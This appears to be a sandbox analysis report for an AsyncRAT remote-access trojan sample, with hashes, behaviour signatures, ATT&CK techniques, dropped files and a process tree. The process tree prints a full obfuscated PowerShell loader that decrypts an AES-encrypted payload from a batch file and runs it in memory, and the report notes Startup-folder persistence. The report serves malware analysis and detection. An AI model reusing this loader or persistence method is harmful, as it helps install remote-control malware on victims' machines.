asyncrat | bd45e50b3ec1e76b4cc8c018131921f5237a356b1dcbc9ec69fdf9788edbea58

Analysis

max time kernel
49s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
24/01/2023, 04:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
payload.exe
Size 31KB
Sample230124-e4ty1agf85
SHA256 bd45e50b3ec1e76b4cc8c018131921f5237a356b1dcbc9ec69fdf9788edbea58
MD5 fcf99858964e59b68b0433b135b499bb
SHA1 817c9144632361468d2e9177d55c9f0598dfd234
SHA512 6281d9e78f3520c1050ac059679fb0742739077c64e474ac15bde11a221b3f1d1ada2dafd0688490633b36b7a5bd8c2f2833f8232569a4cc3699a69ed09f8463
SSDEEP 768:Awn0ja6MY6dPBBPkaRx98CCIzQMCzG17bDTjNGy9A:FnTldpRx98izQMCShpGy9A
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat rat

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Executes dropped EXE 1 IoCs

pid	Process
3864	mdpmvv.bat.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	payload.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mdpmvv.lnk	mdpmvv.bat.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mdpmvv.lnk	mdpmvv.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
488	timeout.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
224	powershell.exe
224	powershell.exe
3864	mdpmvv.bat.exe
3864	mdpmvv.bat.exe
3864	mdpmvv.bat.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4708	payload.exe
Token: SeDebugPrivilege	224	powershell.exe
Token: SeDebugPrivilege	3864	mdpmvv.bat.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3864	mdpmvv.bat.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4708 wrote to memory of 1628	4708	payload.exe	87
PID 4708 wrote to memory of 1628	4708	payload.exe	87
PID 4708 wrote to memory of 3704	4708	payload.exe	89
PID 4708 wrote to memory of 3704	4708	payload.exe	89
PID 1628 wrote to memory of 224	1628	cmd.exe	91
PID 1628 wrote to memory of 224	1628	cmd.exe	91
PID 3704 wrote to memory of 488	3704	cmd.exe	92
PID 3704 wrote to memory of 488	3704	cmd.exe	92
PID 224 wrote to memory of 4840	224	powershell.exe	95
PID 224 wrote to memory of 4840	224	powershell.exe	95
PID 4840 wrote to memory of 3864	4840	cmd.exe	97
PID 4840 wrote to memory of 3864	4840	cmd.exe	97

C:\Users\Admin\AppData\Local\Temp\payload.exe
"C:\Users\Admin\AppData\Local\Temp\payload.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\mdpmvv.bat"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\mdpmvv.bat"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\mdpmvv.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4840
    - - C:\Users\Admin\AppData\Local\Temp\mdpmvv.bat.exe
        
        "mdpmvv.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $zzSyE = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\mdpmvv.bat').Split([Environment]::NewLine);foreach ($vhaGb in $zzSyE) { if ($vhaGb.StartsWith(':: ')) { $IdfmX = $vhaGb.Substring(3); break; }; };$UuOvN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($IdfmX);$VkSDi = New-Object System.Security.Cryptography.AesManaged;$VkSDi.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VkSDi.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VkSDi.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CCkF30DFv0+Wge+smZ7YHJma3aQxKwomhvHThhaEXg8=');$VkSDi.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iy3ZpCXsAY1pIApLpgN6DA==');$VOvhf = $VkSDi.CreateDecryptor();$UuOvN = $VOvhf.TransformFinalBlock($UuOvN, 0, $UuOvN.Length);$VOvhf.Dispose();$VkSDi.Dispose();$DFYlK = New-Object System.IO.MemoryStream(, $UuOvN);$DbNqr = New-Object System.IO.MemoryStream;$mFylv = New-Object System.IO.Compression.GZipStream($DFYlK, [IO.Compression.CompressionMode]::Decompress);$mFylv.CopyTo($DbNqr);$mFylv.Dispose();$DFYlK.Dispose();$DbNqr.Dispose();$UuOvN = $DbNqr.ToArray();$mAKWy = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($UuOvN);$uBqWf = $mAKWy.EntryPoint;$uBqWf.Invoke($null, (, [string[]] ('')))
        5⤵
        Executes dropped EXE
        Drops startup file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:3864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBF3E.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3704
- - C:\Windows\system32\timeout.exe
    timeout 2
    3⤵
    - Delays execution with timeout.exe
    PID:488

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 5b4f1fe7ba74b245b6368dbe4ceffa438f14eef08ba270e9a13c57505c7717ac
MD5 feadc4e1a70c13480ef147aca0c47bc0
SHA1 d7a5084c93842a290b24dacec0cd3904c2266819
SHA512 c9681a19c773891808fefa9445cea598d118c83bba89530a51ab993adbff39bce72b43f8e99d0c68e4a44f7e0f4c8ec128641c45cd557a8e1215721d5d992a23
MD5 SHA1 SHA512

Submit Download

mdpmvv.bat

Path C:\Users\Admin\AppData\Local\Temp\mdpmvv.bat
Size 42KB
SHA256 e58026e101ae93162cbf114997a2a2c78a80adfb6e6469823dd0d90572cef140
MD5 f7294cc5d0e30e1fb90ec80f1f90c67d
SHA1 228c4a17de3b97ca7db4813b6d6945be194b649e
SHA512 8cdb914d9703d4e41c3483a33f53b2b2f9c54e1f3e4f9ffdc4a68b9783f9bac25158cdcf17088b30e66021b60eec4ff1a5ac3c221e68b96bf204eb19d1ef9747
SSDEEP 768:BtRCrP5582KokrPj4hDmZMDIvN93nTkua10dyroetTUJgEqCVzCTCpRc8:rwrin4JMKo34ua10dITYJ/Cu88
MD5 SHA1 SHA512 SSDEEP

Submit Download

mdpmvv.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\mdpmvv.bat.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

mdpmvv.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\mdpmvv.bat.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmpBF3E.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpBF3E.tmp.bat
Size 159B
SHA256 f266015c055a30fc2e7864c0be0669634f7fece90d8510b82bc35e05604d004f
MD5 5ec611d62dd1f18c9f7469199d538a42
SHA1 306db57369c6c88850bd39e13d76245bbcd9f34a
SHA512 d6c0ba367a5b40e01e04862694c1c37a7493ae92d73b9d14dc90690762f119404668fbb6924301f1b9ec40dbecff2f28eb623f072a0cf7847a7e22c5b64301c2
MD5 SHA1 SHA512

Submit Download

memory/224-147-0x00007FFC9AB30000-0x00007FFC9B5F1000-memory.dmp

Download

memory/224-143-0x00007FFC9AB30000-0x00007FFC9B5F1000-memory.dmp

Download

memory/224-144-0x000001CFA9630000-0x000001CFA9652000-memory.dmp

Download

memory/3864-153-0x00007FFC9AB30000-0x00007FFC9B5F1000-memory.dmp

Download

memory/3864-151-0x00007FFC9AB30000-0x00007FFC9B5F1000-memory.dmp

Download

memory/4708-134-0x000000001BBF0000-0x000000001BC66000-memory.dmp

Download

memory/4708-132-0x0000000000F30000-0x0000000000F3E000-memory.dmp

Download

memory/4708-135-0x0000000003060000-0x000000000307E000-memory.dmp

Download

memory/4708-136-0x00007FFC9AB30000-0x00007FFC9B5F1000-memory.dmp

Download

memory/4708-133-0x00007FFC9AB30000-0x00007FFC9B5F1000-memory.dmp

Download

memory/4708-141-0x00007FFC9AB30000-0x00007FFC9B5F1000-memory.dmp

Download